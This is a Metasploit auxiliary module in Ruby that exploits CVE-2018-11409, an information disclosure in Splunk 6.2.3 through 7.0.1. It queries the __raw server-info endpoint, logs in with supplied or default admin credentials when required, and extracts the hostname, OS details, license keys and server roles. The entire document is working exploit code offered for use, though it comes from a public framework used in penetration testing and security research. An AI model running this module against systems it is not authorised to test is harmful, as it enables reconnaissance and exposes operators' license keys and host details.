Splunk __raw Server Info Disclosure

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Splunk __raw Server Info Disclosure ',
        'Description' => %q{
          Splunk 6.2.3 through 7.0.1 allows information disclosure by appending
          /__raw/services/server/info/server-info?output_mode=json to a query.
          Versisons 6.6.0 through 7.0.1 require authentication.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'n00bhaxor', # msf module
          'KOF2002', # original PoC
          'h00die' # 6.6.0+
        ],
        'References' => [
          [ 'EDB', '44865' ],
          [ 'URL', 'https://web.archive.org/web/20201124061756/https://www.splunk.com/en_us/product-security/announcements-archive/SP-CAAAP5E.html'],
          [ 'CVE', '2018-11409']
        ],
        'DisclosureDate' => '2018-06-08',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('USERNAME', [ false, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        OptString.new('TARGETURI', [ true, 'The URI of the Splunk Application', ''])
      ]
    )
  end

  def authenticate
    login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => login_url
    })

    unless res
      fail_with(Failure::Unreachable, 'No response received for authentication request')
    end

    cval_value = res.get_cookies.match(/cval=([^;]+)/)[1]

    unless cval_value
      fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')
    end

    auth_payload = {
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'cval' => cval_value,
      'set_has_logged_in' => 'false'
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => login_url,
      'keep_cookies' => true,
      'vars_post' => auth_payload
    })

    unless res && res.code == 200
      fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')
    end

    print_good('Successfully authenticated on the Splunk instance')
  end

  def get_contents
    request = {
      'uri' => normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'server', 'info', 'server-info'),
      'keep_cookies' => true,
      'vars_get' => {
        'output_mode' => 'json'
      }
    }
    res = send_request_cgi(request)

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    # 200 is <6.6.0 success, 303 is >=6.6.0 likely success but need auth first
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response(response code: #{res.code})") unless res.code == 200 || res.code == 303
    res
  end

  def run
    # on 6.2.x-6.5.x this will work as its unauth
    res = get_contents
    # if we hit 6.6.0 - 7.1.0 we need to auth first
    if res.body == '{"messages":[{"type":"ERROR","text":"See Other"}]}'
      print_status('Authentication required, logging in and re-attempting')
      authenticate
      res = get_contents
    end

    j = res.get_json_document

    loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status.json')
    print_good("Output saved to #{loot_path}")

    print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}")
    print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}")
    print_good("Operating System: #{j['entry'][0]['content']['os_name']}")
    print_good("OS Build: #{j['entry'][0]['content']['os_build']}")
    print_good("OS Version: #{j['entry'][0]['content']['os_version']}")
    print_good("Splunk Version: #{j['generator']['version']}")
    print_good("Trial Version?: #{j['entry'][0]['content']['isTrial']}")
    print_good("Splunk Forwarder?: #{j['entry'][0]['content']['isForwarding']}")
    print_good("Splunk Product Type: #{j['entry'][0]['content']['product_type']}")
    print_good("License State: #{j['entry'][0]['content']['licenseState']}")
    print_good("License Key\(s\): #{j['entry'][0]['content']['licenseKeys']}")
    print_good("Splunk Server Roles: #{j['entry'][0]['content']['server_roles']}")
    converted_time = DateTime.strptime(j['entry'][0]['content']['startup_time'].to_s, '%s').strftime('%Y-%m-%d %H:%M:%S')
    print_good("Splunk Server Startup Time: #{converted_time}")
  end
end